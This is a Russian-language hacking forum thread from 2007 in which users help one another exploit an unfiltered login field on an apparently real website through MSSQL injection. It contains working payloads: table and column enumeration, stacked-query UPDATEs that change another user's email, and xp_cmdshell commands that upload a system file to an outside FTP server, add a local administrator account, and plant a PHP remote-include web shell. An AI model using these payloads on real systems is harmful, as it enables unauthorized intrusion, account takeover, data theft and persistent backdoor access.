mssql-injection - need help...

Discussion in 'Песочница' started by aka PSIH, 15 Mar 2007.

  1. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    Есть сайт, на нем поле UserName не фильтруется...
    запросом
    1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)--
    узнаю имена таблиц
    1' or 1=(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users')--
    так калонки

    как мне выполнить запрос:
    UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'
     
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    1 or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')
    скорее всего у тебя просто прав не хватит
     
  3. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    я сразу так делал:
    1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--
     
  4. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Обычно делают так:
    1';UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--

    Апдейт в подзапросах использовать нельзя.
     
    2 people like this.
  5. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    спасибо, я сам не допер...

    >Апдейт в подзапросах использовать нельзя.
    буду знать...
     
    #5 aka PSIH, 15 Mar 2007
    Last edited: 15 Mar 2007
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    ;UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--
     
  7. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    еще вапрос, при запросе
    1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25admin%25')--

    через секунд 15-20 выдает:
    можно как-нить обойти?
     
    #7 aka PSIH, 15 Mar 2007
    Last edited: 15 Mar 2007
  8. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    нету значит таблиц таких.
    А вообще советую вместо or использовать and.
     
  9. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    в чем разница?

    как можно через mssql-injection залить файл на сервер с удаленного сайта?
     
  10. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    а в английском языке какая разница между Or и And? такая же и тут
     
  11. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Да можно с помощью xp_cmdshell + ftp.

    Вообще если 3389 открыт то народ обычно админа делает себе и заходит через remote desctop.

    Как файлы заливать:
    exec master.dbo.xp_cmdshell 'echo open ftp.server.net > c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'echo put c:\boot.ini >> c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'echo bye >> c:\ftp.ini'

    exec master.dbo.xp_cmdshell ' ftp -i -s:c:\ftp.ini'

    Админа создавать:
    exec master.dbo.xp_cmdshell 'net user test test12345 /add'
    exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'

    Если путь к сайту знаешь то через echo можешь создать файлик типа <?php include($_GET['i']); ?>

    Вообщем способов много.
     
    #11 vmn, 15 Mar 2007
    Last edited: 15 Mar 2007